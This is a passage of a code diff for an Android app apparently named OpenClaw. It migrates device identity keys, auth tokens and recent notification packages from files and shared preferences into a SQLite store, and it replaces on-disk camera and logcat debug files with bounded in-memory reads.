scopes: List<String>,
) {
val normalizedDevice = normalizeDeviceId(deviceId)
val normalizedRole = normalizeRole(role)
val normalizedScopes = normalizeScopes(scopes)
val key = tokenKey(deviceId, role)
prefs.putString(key, token.trim())
prefs.putString(
metadataKey(deviceId, role),
json.encodeToString(
PersistedDeviceAuthMetadata(
scopes = normalizedScopes,
updatedAtMs = System.currentTimeMillis(),
),
val latestDeviceId = stateStore.readLatestDeviceAuthDeviceId()
val shouldSeedSameDeviceLegacyRoles = latestDeviceId == null
val sqliteDeviceChanged = latestDeviceId != null && latestDeviceId != normalizedDevice
val shouldDropLegacyAuth =
sqliteDeviceChanged ||
legacyPrefs.keysWithPrefix(deviceAuthTokenPrefix).any {
!it.startsWith(tokenKeyPrefix(normalizedDevice))
}
if (sqliteDeviceChanged) {
stateStore.deleteAllDeviceAuthTokens()
}
if (shouldDropLegacyAuth) {
removeForeignLegacyEntries(normalizedDevice)
}
if (shouldSeedSameDeviceLegacyRoles) {
migrateLegacyEntriesForDevice(normalizedDevice)
}
legacyPrefs.putString(tokenKey(normalizedDevice, normalizedRole), token.trim())
removeLegacyMetadata(normalizedDevice, normalizedRole)
stateStore.upsertDeviceAuthToken(
OpenClawSQLiteDeviceAuthTokenRow(
deviceId = normalizedDevice,
role = normalizedRole,
token = sqliteSecurePrefsTokenMarker,
scopesJson = json.encodeToString(normalizedScopes),
updatedAtMs = System.currentTimeMillis(),
),
)
}
@@ -92,28 +192,124 @@ class DeviceAuthStore(
deviceId: String,
role: String,
) {
val key = tokenKey(deviceId, role)
prefs.remove(key)
prefs.remove(metadataKey(deviceId, role))
val normalizedDevice = normalizeDeviceId(deviceId)
val normalizedRole = normalizeRole(role)
removeLegacyEntry(normalizedDevice, normalizedRole)
stateStore.deleteDeviceAuthToken(
deviceId = normalizedDevice,
role = normalizedRole,
)
}
private fun migrateLegacyEntryIfNoSqliteAuthRows(
normalizedDevice: String,
normalizedRole: String,
): DeviceAuthEntry? {
if (stateStore.readLatestDeviceAuthDeviceId() != null) {
removeLegacyEntry(normalizedDevice, normalizedRole)
return null
}
return migrateLegacyEntriesForDevice(normalizedDevice)[normalizedRole]
}
private fun migrateLegacyEntriesForDevice(normalizedDevice: String): Map<String, DeviceAuthEntry> {
val prefix = tokenKeyPrefix(normalizedDevice)
return legacyPrefs
.keysWithPrefix(prefix)
.mapNotNull { key ->
val role = normalizeRole(key.removePrefix(prefix))
if (role.isEmpty()) {
null
} else {
migrateLegacyEntry(normalizedDevice, role)?.let { role to it }
}
}.toMap()
}
private fun migrateLegacyEntry(
normalizedDevice: String,
normalizedRole: String,
): DeviceAuthEntry? {
val token =
legacyPrefs
.getString(tokenKey(normalizedDevice, normalizedRole))
?.trim()
?.takeIf { it.isNotEmpty() }
?: return null
val metadata =
legacyPrefs
.getString(metadataKey(normalizedDevice, normalizedRole))
?.let { raw -> runCatching { json.decodeFromString<PersistedDeviceAuthMetadata>(raw) }.getOrNull() }
val entry =
DeviceAuthEntry(
token = token,
role = normalizedRole,
scopes = normalizeScopes(metadata?.scopes ?: emptyList()),
updatedAtMs = metadata?.updatedAtMs?.takeIf { it > 0L } ?: System.currentTimeMillis(),
)
val migrated =
runCatching {
stateStore.upsertDeviceAuthToken(
OpenClawSQLiteDeviceAuthTokenRow(
deviceId = normalizedDevice,
role = normalizedRole,
token = sqliteSecurePrefsTokenMarker,
scopesJson = json.encodeToString(entry.scopes),
updatedAtMs = entry.updatedAtMs,
),
)
}.isSuccess
if (migrated) {
legacyPrefs.putString(tokenKey(normalizedDevice, normalizedRole), entry.token)
removeLegacyMetadata(normalizedDevice, normalizedRole)
}
return entry
}
private fun removeLegacyMetadata(
normalizedDevice: String,
normalizedRole: String,
) {
legacyPrefs.remove(metadataKey(normalizedDevice, normalizedRole))
}
private fun removeLegacyEntry(
normalizedDevice: String,
normalizedRole: String,
) {
legacyPrefs.remove(tokenKey(normalizedDevice, normalizedRole))
legacyPrefs.remove(metadataKey(normalizedDevice, normalizedRole))
}
private fun removeForeignLegacyEntries(normalizedDevice: String) {
val currentTokenPrefix = tokenKeyPrefix(normalizedDevice)
legacyPrefs
.keysWithPrefix(deviceAuthTokenPrefix)
.filterNot { it.startsWith(currentTokenPrefix) }
.forEach { legacyPrefs.remove(it) }
val currentMetadataPrefix = "$deviceAuthMetadataPrefix$normalizedDevice."
legacyPrefs
.keysWithPrefix(deviceAuthMetadataPrefix)
.filterNot { it.startsWith(currentMetadataPrefix) }
.forEach { legacyPrefs.remove(it) }
}
private fun tokenKeyPrefix(normalizedDevice: String): String = "$deviceAuthTokenPrefix$normalizedDevice."
private fun tokenKey(
deviceId: String,
role: String,
): String {
val normalizedDevice = normalizeDeviceId(deviceId)
val normalizedRole = normalizeRole(role)
return "gateway.deviceToken.$normalizedDevice.$normalizedRole"
}
normalizedDevice: String,
normalizedRole: String,
): String = "${tokenKeyPrefix(normalizedDevice)}$normalizedRole"
private fun metadataKey(
deviceId: String,
role: String,
): String {
val normalizedDevice = normalizeDeviceId(deviceId)
val normalizedRole = normalizeRole(role)
return "gateway.deviceTokenMeta.$normalizedDevice.$normalizedRole"
}
normalizedDevice: String,
normalizedRole: String,
): String = "$deviceAuthMetadataPrefix$normalizedDevice.$normalizedRole"
private fun decodeScopes(raw: String): List<String> =
runCatching { json.decodeFromString<List<String>>(raw) }
.getOrDefault(emptyList())
.let(::normalizeScopes)
private fun normalizeDeviceId(deviceId: String): String = deviceId.trim().lowercase()

View File

@@ -19,7 +19,8 @@ class DeviceIdentityStore(
context: Context,
) {
private val json = Json { ignoreUnknownKeys = true }
private val identityFile = File(context.filesDir, "openclaw/identity/device.json")
private val stateStore = OpenClawSQLiteStateStore(context)
private val legacyIdentityFile = File(context.filesDir, "openclaw/identity/device.json")
@Volatile private var cachedIdentity: DeviceIdentity? = null
@@ -28,16 +29,14 @@ class DeviceIdentityStore(
cachedIdentity?.let { return it }
val existing = load()
if (existing != null) {
val derived = deriveDeviceId(existing.publicKeyRawBase64)
if (derived != null && derived != existing.deviceId) {
val updated = existing.copy(deviceId = derived)
save(updated)
cachedIdentity = updated
return updated
}
cachedIdentity = existing
return existing
}
if (legacyIdentityFile.exists()) {
val migrated = migrateLegacyIdentity()
cachedIdentity = migrated
return migrated
}
val fresh = generate()
save(fresh)
cachedIdentity = fresh
@@ -111,34 +110,76 @@ class DeviceIdentityStore(
null
}
private fun load(): DeviceIdentity? = readIdentity(identityFile)
private fun load(): DeviceIdentity? {
val row = stateStore.readDeviceIdentity(IDENTITY_KEY) ?: return null
return readIdentity(row)
?: throw IllegalStateException(
"Stored OpenClaw device identity is invalid. Run openclaw doctor --fix.",
)
}
private fun readIdentity(file: File): DeviceIdentity? {
return try {
if (!file.exists()) return null
val raw = file.readText(Charsets.UTF_8)
val decoded = json.decodeFromString(DeviceIdentity.serializer(), raw)
if (decoded.deviceId.isBlank() ||
decoded.publicKeyRawBase64.isBlank() ||
decoded.privateKeyPkcs8Base64.isBlank()
) {
null
} else {
decoded
private fun migrateLegacyIdentity(): DeviceIdentity {
val raw =
try {
legacyIdentityFile.readText(Charsets.UTF_8)
} catch (error: Throwable) {
throw IllegalStateException("Failed to read legacy OpenClaw device identity.", error)
}
val identity =
runCatching { json.decodeFromString(DeviceIdentity.serializer(), raw) }
.getOrNull()
?.let(::normalizeRawIdentity)
?: throw IllegalStateException(
"Legacy OpenClaw device identity is invalid. Run openclaw doctor --fix.",
)
save(identity)
legacyIdentityFile.delete()
return identity
}
private fun normalizeRawIdentity(identity: DeviceIdentity): DeviceIdentity? =
try {
if (identity.publicKeyRawBase64.isBlank() || identity.privateKeyPkcs8Base64.isBlank()) {
return null
}
val publicRaw = Base64.decode(identity.publicKeyRawBase64, Base64.DEFAULT)
val privateDer = Base64.decode(identity.privateKeyPkcs8Base64, Base64.DEFAULT)
if (publicRaw.size != ED25519_KEY_SIZE || privateDer.isEmpty()) {
return null
}
val normalized = identity.copy(deviceId = sha256Hex(publicRaw))
if (!hasMatchingKeyPair(normalized)) {
return null
}
normalized
} catch (_: Throwable) {
null
}
private fun readIdentity(row: OpenClawSQLiteDeviceIdentityRow): DeviceIdentity? =
PersistedDeviceIdentity(
deviceId = row.deviceId,
publicKeyPem = row.publicKeyPem,
privateKeyPem = row.privateKeyPem,
createdAtMs = row.createdAtMs,
).toRuntimeIdentity()?.takeIf(::hasMatchingKeyPair)
private fun hasMatchingKeyPair(identity: DeviceIdentity): Boolean {
val signature = signPayload(KEYPAIR_VALIDATION_PAYLOAD, identity) ?: return false
return verifySelfSignature(KEYPAIR_VALIDATION_PAYLOAD, signature, identity)
}
private fun save(identity: DeviceIdentity) {
try {
identityFile.parentFile?.mkdirs()
val encoded = json.encodeToString(DeviceIdentity.serializer(), identity)
identityFile.writeText(encoded, Charsets.UTF_8)
} catch (_: Throwable) {
// best-effort only
}
val persisted = PersistedDeviceIdentity.fromRuntimeIdentity(identity)
stateStore.writeDeviceIdentity(
OpenClawSQLiteDeviceIdentityRow(
deviceId = persisted.deviceId,
publicKeyPem = persisted.publicKeyPem,
privateKeyPem = persisted.privateKeyPem,
createdAtMs = persisted.createdAtMs,
),
identityKey = IDENTITY_KEY,
)
}
private fun generate(): DeviceIdentity {
@@ -168,14 +209,6 @@ class DeviceIdentityStore(
)
}
private fun deriveDeviceId(publicKeyRawBase64: String): String? =
try {
val raw = Base64.decode(publicKeyRawBase64, Base64.DEFAULT)
sha256Hex(raw)
} catch (_: Throwable) {
null
}
private fun sha256Hex(data: ByteArray): String {
val digest = MessageDigest.getInstance("SHA-256").digest(data)
val out = CharArray(digest.size * 2)
@@ -194,7 +227,92 @@ class DeviceIdentityStore(
Base64.URL_SAFE or Base64.NO_WRAP or Base64.NO_PADDING,
)
@Serializable
private data class PersistedDeviceIdentity(
val version: Int = 1,
val deviceId: String,
val publicKeyPem: String,
val privateKeyPem: String,
val createdAtMs: Long,
) {
fun toRuntimeIdentity(): DeviceIdentity? {
if (version != 1 || deviceId.isBlank() || publicKeyPem.isBlank() || privateKeyPem.isBlank()) {
return null
}
val publicDer = decodePem(publicKeyPem, "PUBLIC KEY") ?: return null
if (!publicDer.startsWith(PUBLIC_KEY_INFO_PREFIX)) return null
val publicRaw = publicDer.copyOfRange(PUBLIC_KEY_INFO_PREFIX.size, publicDer.size)
if (publicRaw.size != ED25519_KEY_SIZE) return null
val derivedDeviceId = sha256HexStatic(publicRaw)
if (derivedDeviceId != deviceId.lowercase()) return null
val privateDer = decodePem(privateKeyPem, "PRIVATE KEY") ?: return null
return DeviceIdentity(
deviceId = derivedDeviceId,
publicKeyRawBase64 = Base64.encodeToString(publicRaw, Base64.NO_WRAP),
privateKeyPkcs8Base64 = Base64.encodeToString(privateDer, Base64.NO_WRAP),
createdAtMs = createdAtMs,
)
}
companion object {
fun fromRuntimeIdentity(identity: DeviceIdentity): PersistedDeviceIdentity {
val publicRaw = Base64.decode(identity.publicKeyRawBase64, Base64.DEFAULT)
val privateDer = Base64.decode(identity.privateKeyPkcs8Base64, Base64.DEFAULT)
return PersistedDeviceIdentity(
deviceId = identity.deviceId,
publicKeyPem = encodePem("PUBLIC KEY", PUBLIC_KEY_INFO_PREFIX + publicRaw),
privateKeyPem = encodePem("PRIVATE KEY", privateDer),
createdAtMs = identity.createdAtMs,
)
}
}
}
companion object {
private const val IDENTITY_KEY = "default"
private const val KEYPAIR_VALIDATION_PAYLOAD = "openclaw-device-identity-keypair-validation"
private const val ED25519_KEY_SIZE = 32
private val HEX = "0123456789abcdef".toCharArray()
private val PUBLIC_KEY_INFO_PREFIX =
byteArrayOf(0x30, 0x2a, 0x30, 0x05, 0x06, 0x03, 0x2b, 0x65, 0x70, 0x03, 0x21, 0x00)
private fun ByteArray.startsWith(prefix: ByteArray): Boolean = size >= prefix.size && prefix.indices.all { this[it] == prefix[it] }
private fun encodePem(
label: String,
bytes: ByteArray,
): String {
val body = Base64.encodeToString(bytes, Base64.NO_WRAP)
val wrapped = body.chunked(64).joinToString("\n")
return "-----BEGIN $label-----\n$wrapped\n-----END $label-----\n"
}
private fun decodePem(
pem: String,
label: String,
): ByteArray? {
val header = "-----BEGIN $label-----"
val footer = "-----END $label-----"
val trimmed = pem.trim()
if (!trimmed.startsWith(header) || !trimmed.endsWith(footer)) return null
val body =
trimmed
.removePrefix(header)
.removeSuffix(footer)
.replace("\\s".toRegex(), "")
return runCatching { Base64.decode(body, Base64.DEFAULT) }.getOrNull()
}
private fun sha256HexStatic(data: ByteArray): String {
val digest = MessageDigest.getInstance("SHA-256").digest(data)
val out = CharArray(digest.size * 2)
var i = 0
for (byte in digest) {
val v = byte.toInt() and 0xff
out[i++] = HEX[v ushr 4]
out[i++] = HEX[v and 0x0f]
}
return String(out)
}
}
}

View File

@@ -0,0 +1,310 @@
package ai.openclaw.app.gateway
import android.content.ContentValues
import android.content.Context
import android.database.sqlite.SQLiteDatabase
import java.io.File
data class OpenClawSQLiteDeviceIdentityRow(
val deviceId: String,
val publicKeyPem: String,
val privateKeyPem: String,
val createdAtMs: Long,
)
data class OpenClawSQLiteDeviceAuthTokenRow(
val deviceId: String,
val role: String,
val token: String,
val scopesJson: String,
val updatedAtMs: Long,
)
class OpenClawSQLiteStateStore(
context: Context,
) {
private val appContext = context.applicationContext
private val databaseFile = File(appContext.filesDir, "openclaw/state/openclaw.sqlite")
fun databaseFile(): File = databaseFile
@Synchronized
fun readDeviceIdentity(identityKey: String = "default"): OpenClawSQLiteDeviceIdentityRow? {
if (!databaseFile.exists()) return null
return openDatabase().use { db ->
db
.rawQuery(
"""
SELECT device_id, public_key_pem, private_key_pem, created_at_ms
FROM device_identities
WHERE identity_key = ?
""".trimIndent(),
arrayOf(identityKey),
).use { cursor ->
if (!cursor.moveToFirst()) return@use null
OpenClawSQLiteDeviceIdentityRow(
deviceId = cursor.getString(0),
publicKeyPem = cursor.getString(1),
privateKeyPem = cursor.getString(2),
createdAtMs = cursor.getLong(3),
)
}
}
}
@Synchronized
fun writeDeviceIdentity(
identity: OpenClawSQLiteDeviceIdentityRow,
identityKey: String = "default",
updatedAtMs: Long = System.currentTimeMillis(),
) {
openDatabase().use { db ->
db.inWriteTransaction {
val values =
ContentValues().apply {
put("identity_key", identityKey)
put("device_id", identity.deviceId)
put("public_key_pem", identity.publicKeyPem)
put("private_key_pem", identity.privateKeyPem)
put("created_at_ms", identity.createdAtMs)
put("updated_at_ms", updatedAtMs)
}
db.insertWithOnConflict("device_identities", null, values, SQLiteDatabase.CONFLICT_REPLACE)
}
}
}
@Synchronized
fun readDeviceAuthToken(
deviceId: String,
role: String,
): OpenClawSQLiteDeviceAuthTokenRow? {
if (!databaseFile.exists()) return null
return openDatabase().use { db ->
db
.rawQuery(
"""
SELECT device_id, role, token, scopes_json, updated_at_ms
FROM device_auth_tokens
WHERE device_id = ? AND role = ?
""".trimIndent(),
arrayOf(deviceId, role),
).use { cursor ->
if (!cursor.moveToFirst()) return@use null
OpenClawSQLiteDeviceAuthTokenRow(
deviceId = cursor.getString(0),
role = cursor.getString(1),
token = cursor.getString(2),
scopesJson = cursor.getString(3),
updatedAtMs = cursor.getLong(4),
)
}
}
}
@Synchronized
fun readLatestDeviceAuthDeviceId(): String? {
if (!databaseFile.exists()) return null
return openDatabase().use { db ->
db
.rawQuery(
"""
SELECT device_id
FROM device_auth_tokens
ORDER BY updated_at_ms DESC, device_id ASC
LIMIT 1
""".trimIndent(),
emptyArray(),
).use { cursor ->
if (cursor.moveToFirst()) cursor.getString(0) else null
}
}
}
@Synchronized
fun upsertDeviceAuthToken(row: OpenClawSQLiteDeviceAuthTokenRow) {
openDatabase().use { db ->
db.inWriteTransaction {
val values =
ContentValues().apply {
put("device_id", row.deviceId)
put("role", row.role)
put("token", row.token)
put("scopes_json", row.scopesJson)
put("updated_at_ms", row.updatedAtMs)
}
db.insertWithOnConflict("device_auth_tokens", null, values, SQLiteDatabase.CONFLICT_REPLACE)
}
}
}
@Synchronized
fun deleteDeviceAuthToken(
deviceId: String,
role: String,
) {
openDatabase().use { db ->
db.inWriteTransaction {
db.delete("device_auth_tokens", "device_id = ? AND role = ?", arrayOf(deviceId, role))
}
}
}
@Synchronized
fun deleteAllDeviceAuthTokens() {
openDatabase().use { db ->
db.inWriteTransaction {
db.delete("device_auth_tokens", null, null)
}
}
}
@Synchronized
fun readRecentNotificationPackages(limit: Int = 64): List<String> {
if (!databaseFile.exists()) return emptyList()
return openDatabase().use { db ->
db
.rawQuery(
"""
SELECT package_name
FROM android_notification_recent_packages
ORDER BY sort_order ASC, package_name ASC
LIMIT ?
""".trimIndent(),
arrayOf(limit.coerceAtLeast(0).toString()),
).use { cursor ->
val packages = mutableListOf<String>()
while (cursor.moveToNext()) {
packages += cursor.getString(0)
}
packages
}
}
}
@Synchronized
fun replaceRecentNotificationPackages(
packageNames: List<String>,
limit: Int = 64,
updatedAtMs: Long = System.currentTimeMillis(),
) {
val normalized =
packageNames
.asSequence()
.map { it.trim() }
.filter { it.isNotEmpty() }
.distinct()
.take(limit.coerceAtLeast(0))
.toList()
openDatabase().use { db ->
db.inWriteTransaction {
db.delete("android_notification_recent_packages", null, null)
normalized.forEachIndexed { index, packageName ->
val values =
ContentValues().apply {
put("package_name", packageName)
put("sort_order", index)
put("updated_at_ms", updatedAtMs)
}
db.insertWithOnConflict(
"android_notification_recent_packages",
null,
values,
SQLiteDatabase.CONFLICT_REPLACE,
)
}
}
}
}
private fun openDatabase(): SQLiteDatabase {
databaseFile.parentFile?.mkdirs()
val db =
SQLiteDatabase.openDatabase(
databaseFile.absolutePath,
null,
SQLiteDatabase.OPEN_READWRITE or SQLiteDatabase.CREATE_IF_NECESSARY,
)
configure(db)
return db
}
private fun configure(db: SQLiteDatabase) {
db.enableWriteAheadLogging()
executePragma(db, "PRAGMA synchronous = NORMAL")
executePragma(db, "PRAGMA busy_timeout = 30000")
executePragma(db, "PRAGMA foreign_keys = ON")
db.execSQL(
"""
CREATE TABLE IF NOT EXISTS device_identities (
identity_key TEXT NOT NULL PRIMARY KEY,
device_id TEXT NOT NULL,
public_key_pem TEXT NOT NULL,
private_key_pem TEXT NOT NULL,
created_at_ms INTEGER NOT NULL,
updated_at_ms INTEGER NOT NULL
)
""".trimIndent(),
)
db.execSQL(
"""
CREATE INDEX IF NOT EXISTS idx_device_identities_device
ON device_identities(device_id, updated_at_ms DESC)
""".trimIndent(),
)
db.execSQL(
"""
CREATE TABLE IF NOT EXISTS device_auth_tokens (
device_id TEXT NOT NULL,
role TEXT NOT NULL,
token TEXT NOT NULL,
scopes_json TEXT NOT NULL,
updated_at_ms INTEGER NOT NULL,
PRIMARY KEY (device_id, role)
)
""".trimIndent(),
)
db.execSQL(
"""
CREATE INDEX IF NOT EXISTS idx_device_auth_tokens_updated
ON device_auth_tokens(updated_at_ms DESC, device_id, role)
""".trimIndent(),
)
db.execSQL(
"""
CREATE TABLE IF NOT EXISTS android_notification_recent_packages (
package_name TEXT NOT NULL PRIMARY KEY,
sort_order INTEGER NOT NULL,
updated_at_ms INTEGER NOT NULL
)
""".trimIndent(),
)
db.execSQL(
"""
CREATE INDEX IF NOT EXISTS idx_android_notification_recent_packages_order
ON android_notification_recent_packages(sort_order, package_name)
""".trimIndent(),
)
}
private fun executePragma(
db: SQLiteDatabase,
sql: String,
) {
db.rawQuery(sql, null).use { cursor ->
if (cursor.moveToFirst()) {
// Some PRAGMA assignments return their new value; reading it closes the cursor cleanly.
}
}
}
private inline fun SQLiteDatabase.inWriteTransaction(body: () -> Unit) {
beginTransaction()
try {
body()
setTransactionSuccessful()
} finally {
endTransaction()
}
}
}

View File

@@ -3,7 +3,6 @@ package ai.openclaw.app.node
import ai.openclaw.app.BuildConfig
import ai.openclaw.app.CameraHudKind
import ai.openclaw.app.gateway.GatewaySession
import android.content.Context
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.flow.MutableStateFlow
import kotlinx.coroutines.withContext
@@ -19,7 +18,6 @@ internal const val CAMERA_CLIP_MAX_RAW_BYTES: Long = 18L * 1024L * 1024L
internal fun isCameraClipWithinPayloadLimit(rawBytes: Long): Boolean = rawBytes in 0L..CAMERA_CLIP_MAX_RAW_BYTES
class CameraHandler(
private val appContext: Context,
private val camera: CameraCaptureManager,
private val externalAudioCaptureActive: MutableStateFlow<Boolean>,
private val showCameraHud: (message: String, kind: CameraHudKind, autoHideMs: Long?) -> Unit,
@@ -54,16 +52,12 @@ class CameraHandler(
}
suspend fun handleSnap(paramsJson: String?): GatewaySession.InvokeResult {
val logFile = if (BuildConfig.DEBUG) java.io.File(appContext.cacheDir, "camera_debug.log") else null
fun camLog(msg: String) {
if (!BuildConfig.DEBUG) return
val ts = java.text.SimpleDateFormat("HH:mm:ss.SSS", java.util.Locale.US).format(java.util.Date())
logFile?.appendText("[$ts] $msg\n")
android.util.Log.w("openclaw", "camera.snap: $msg")
android.util.Log.w("openclaw", "camera.snap[$ts]: $msg")
}
try {
logFile?.writeText("") // clear
camLog("starting, params=$paramsJson")
camLog("calling showCameraHud")
showCameraHud("Taking photo…", CameraHudKind.Photo, null)
@@ -93,18 +87,14 @@ class CameraHandler(
}
suspend fun handleClip(paramsJson: String?): GatewaySession.InvokeResult {
val clipLogFile = if (BuildConfig.DEBUG) java.io.File(appContext.cacheDir, "camera_debug.log") else null
fun clipLog(msg: String) {
if (!BuildConfig.DEBUG) return
val ts = java.text.SimpleDateFormat("HH:mm:ss.SSS", java.util.Locale.US).format(java.util.Date())
clipLogFile?.appendText("[CLIP $ts] $msg\n")
android.util.Log.w("openclaw", "camera.clip: $msg")
android.util.Log.w("openclaw", "camera.clip[$ts]: $msg")
}
val includeAudio = parseIncludeAudio(paramsJson) ?: true
if (includeAudio) externalAudioCaptureActive.value = true
try {
clipLogFile?.writeText("") // clear
clipLog("starting, params=$paramsJson includeAudio=$includeAudio")
clipLog("calling showCameraHud")
showCameraHud("Recording…", CameraHudKind.Recording, null)

View File

@@ -3,13 +3,16 @@ package ai.openclaw.app.node
import ai.openclaw.app.BuildConfig
import ai.openclaw.app.gateway.DeviceIdentityStore
import ai.openclaw.app.gateway.GatewaySession
import android.content.Context
import kotlinx.serialization.json.JsonPrimitive
import java.io.InputStream
import java.util.concurrent.TimeUnit
import java.util.concurrent.atomic.AtomicReference
private const val LOGCAT_PATH = "/system/bin/logcat"
private const val LOGCAT_TIMEOUT_MS = 4_000L
private const val LOGCAT_MAX_CHARS = 128_000
class DebugHandler(
private val appContext: Context,
private val identityStore: DeviceIdentityStore,
) {
fun handleEd25519(): GatewaySession.InvokeResult {
@@ -81,24 +84,14 @@ class DebugHandler(
val pid = android.os.Process.myPid()
val rt = Runtime.getRuntime()
val info = "v6 pid=$pid thread=${Thread.currentThread().name} free=${rt.freeMemory() / 1024}K total=${rt.totalMemory() / 1024}K max=${rt.maxMemory() / 1024}K uptime=${android.os.SystemClock.elapsedRealtime() / 1000}s sdk=${android.os.Build.VERSION.SDK_INT} device=${android.os.Build.MODEL}\n"
// Run logcat on current dispatcher thread (no withContext) with file redirect
// Run logcat on current dispatcher thread; output is bounded by -t and never staged to disk.
val logResult =
try {
val tmpFile = java.io.File(appContext.cacheDir, "debug_logs.txt")
if (tmpFile.exists()) tmpFile.delete()
val pb = ProcessBuilder(LOGCAT_PATH, "-d", "-t", "200", "--pid=$pid")
pb.redirectOutput(tmpFile)
pb.redirectErrorStream(true)
val proc = pb.start()
val finished = proc.waitFor(4, java.util.concurrent.TimeUnit.SECONDS)
if (!finished) proc.destroyForcibly()
val raw =
if (tmpFile.exists() && tmpFile.length() > 0) {
tmpFile.readText().take(128000)
} else {
"(no output, finished=$finished, exists=${tmpFile.exists()})"
}
tmpFile.delete()
val (finished, raw) = collectProcessOutput(proc, LOGCAT_TIMEOUT_MS, LOGCAT_MAX_CHARS)
val normalizedRaw = raw.ifBlank { "(no output, finished=$finished)" }
val spamPatterns =
listOf(
"setRequestedFrameRate",
@@ -119,7 +112,7 @@ class DebugHandler(
"IncorrectContextUseViolation",
)
val sb = StringBuilder()
for (line in raw.lineSequence()) {
for (line in normalizedRaw.lineSequence()) {
if (line.isBlank()) continue
if (spamPatterns.any { line.contains(it) }) continue
if (sb.length + line.length > 16000) {
@@ -129,18 +122,55 @@ class DebugHandler(
if (sb.isNotEmpty()) sb.append('\n')
sb.append(line)
}
sb.toString().ifEmpty { "(all ${raw.lines().size} lines filtered as spam)" }
sb.toString().ifEmpty { "(all ${normalizedRaw.lines().size} lines filtered as spam)" }
} catch (e: Throwable) {
"(logcat error: ${e::class.java.simpleName}: ${e.message})"
}
// Also include camera debug log if it exists
val camLogFile = java.io.File(appContext.cacheDir, "camera_debug.log")
val camLog =
if (camLogFile.exists() && camLogFile.length() > 0) {
"\n--- camera_debug.log ---\n" + camLogFile.readText().take(4000)
} else {
""
}
return GatewaySession.InvokeResult.ok("""{"logs":${JsonPrimitive(info + logResult + camLog)}}""")
return GatewaySession.InvokeResult.ok("""{"logs":${JsonPrimitive(info + logResult)}}""")
}
}
internal fun collectProcessOutput(
process: Process,
timeoutMs: Long,
maxChars: Int,
): Pair<Boolean, String> {
val output = AtomicReference("")
val failure = AtomicReference<Throwable?>(null)
val reader =
Thread({
try {
output.set(readBoundedText(process.inputStream, maxChars))
} catch (error: Throwable) {
failure.set(error)
}
}, "openclaw-debug-output-reader")
reader.isDaemon = true
reader.start()
val finished = process.waitFor(timeoutMs, TimeUnit.MILLISECONDS)
if (!finished) {
process.destroyForcibly()
}
reader.join(1_000)
failure.get()?.let { throw it }
return finished to output.get()
}
private fun readBoundedText(
stream: InputStream,
maxChars: Int,
): String =
stream.bufferedReader().use { reader ->
val out = StringBuilder(minOf(maxChars, 8192))
val buffer = CharArray(4096)
while (true) {
val read = reader.read(buffer)
if (read < 0) break
val remaining = maxChars - out.length
if (remaining > 0) {
out.append(buffer, 0, minOf(read, remaining))
}
}
out.toString()
}

View File

@@ -3,6 +3,7 @@ package ai.openclaw.app.node
import ai.openclaw.app.NotificationBurstLimiter
import ai.openclaw.app.SecurePrefs
import ai.openclaw.app.allowsPackage
import ai.openclaw.app.gateway.OpenClawSQLiteStateStore
import ai.openclaw.app.isWithinQuietHours
import android.app.Notification
import android.app.NotificationManager
@@ -12,7 +13,6 @@ import android.content.Context
import android.content.Intent
import android.service.notification.NotificationListenerService
import android.service.notification.StatusBarNotification
import androidx.core.content.edit
import kotlinx.serialization.json.JsonObject
import kotlinx.serialization.json.JsonPrimitive
import kotlinx.serialization.json.buildJsonObject
@@ -278,8 +278,9 @@ class DeviceNotificationListenerService : NotificationListenerService() {
}
companion object {
private const val recentPackagesPref = "notifications.forwarding.recentPackages"
private const val legacyRecentPackagesPref = "notifications.recentPackages"
private const val notificationsPrefsPrefix = "notifications."
private const val recentPackagesPref = notificationsPrefsPrefix + "forwarding.recentPackages"
private const val legacyRecentPackagesPref = notificationsPrefsPrefix + "recentPackages"
private const val recentPackagesLimit = 64
@Volatile private var activeService: DeviceNotificationListenerService? = null
@@ -292,31 +293,45 @@ class DeviceNotificationListenerService : NotificationListenerService() {
nodeEventSink = sink
}
private fun recentPackagesPrefs(context: Context) = context.applicationContext.getSharedPreferences("openclaw.secure", Context.MODE_PRIVATE)
private fun recentPackagesPrefs(context: Context) =
context.applicationContext
.getSharedPreferences("openclaw.secure", Context.MODE_PRIVATE)
private fun migrateLegacyRecentPackagesIfNeeded(context: Context) {
private fun migrateLegacyRecentPackagesIfNeeded(
context: Context,
stateStore: OpenClawSQLiteStateStore,
): List<String> {
val prefs = recentPackagesPrefs(context)
val hasNew = prefs.contains(recentPackagesPref)
val legacy = prefs.getString(legacyRecentPackagesPref, null)?.trim().orEmpty()
if (!hasNew && legacy.isNotEmpty()) {
prefs.edit {
putString(recentPackagesPref, legacy)
remove(legacyRecentPackagesPref)
}
} else if (hasNew && prefs.contains(legacyRecentPackagesPref)) {
prefs.edit { remove(legacyRecentPackagesPref) }
val raw =
prefs.getString(recentPackagesPref, null)?.trim()?.takeIf { it.isNotEmpty() }
?: prefs.getString(legacyRecentPackagesPref, null)?.trim().orEmpty()
val packages =
raw
.split(',')
.map { it.trim() }
.filter { it.isNotEmpty() }
.distinct()
.take(recentPackagesLimit)
if (packages.isNotEmpty()) {
stateStore.replaceRecentNotificationPackages(packages, recentPackagesLimit)
}
if (prefs.contains(recentPackagesPref) || prefs.contains(legacyRecentPackagesPref)) {
prefs
.edit()
.remove(recentPackagesPref)
.remove(legacyRecentPackagesPref)
.apply()
}
return packages
}
fun recentPackages(context: Context): List<String> {
migrateLegacyRecentPackagesIfNeeded(context)
val prefs = recentPackagesPrefs(context)
val stored = prefs.getString(recentPackagesPref, null).orEmpty()
return stored
.split(',')
.map { it.trim() }
.filter { it.isNotEmpty() }
.distinct()
val stateStore = OpenClawSQLiteStateStore(context)
val stored = stateStore.readRecentNotificationPackages(recentPackagesLimit)
if (stored.isNotEmpty()) {
return stored
}
return migrateLegacyRecentPackagesIfNeeded(context, stateStore)
}
fun isAccessEnabled(context: Context): Boolean {
@@ -366,18 +381,13 @@ class DeviceNotificationListenerService : NotificationListenerService() {
val service = activeService ?: return
val normalized = packageName?.trim().orEmpty()
if (normalized.isEmpty() || normalized == service.packageName) return
migrateLegacyRecentPackagesIfNeeded(service.applicationContext)
val prefs = recentPackagesPrefs(service.applicationContext)
val existing =
prefs
.getString(recentPackagesPref, null)
.orEmpty()
.split(',')
.map { it.trim() }
.filter { it.isNotEmpty() && it != normalized }
recentPackages(service.applicationContext)
.filter { it != normalized }
.take(recentPackagesLimit - 1)
val updated = listOf(normalized) + existing
prefs.edit { putString(recentPackagesPref, updated.joinToString(",")) }
OpenClawSQLiteStateStore(service.applicationContext)
.replaceRecentNotificationPackages(updated, recentPackagesLimit)
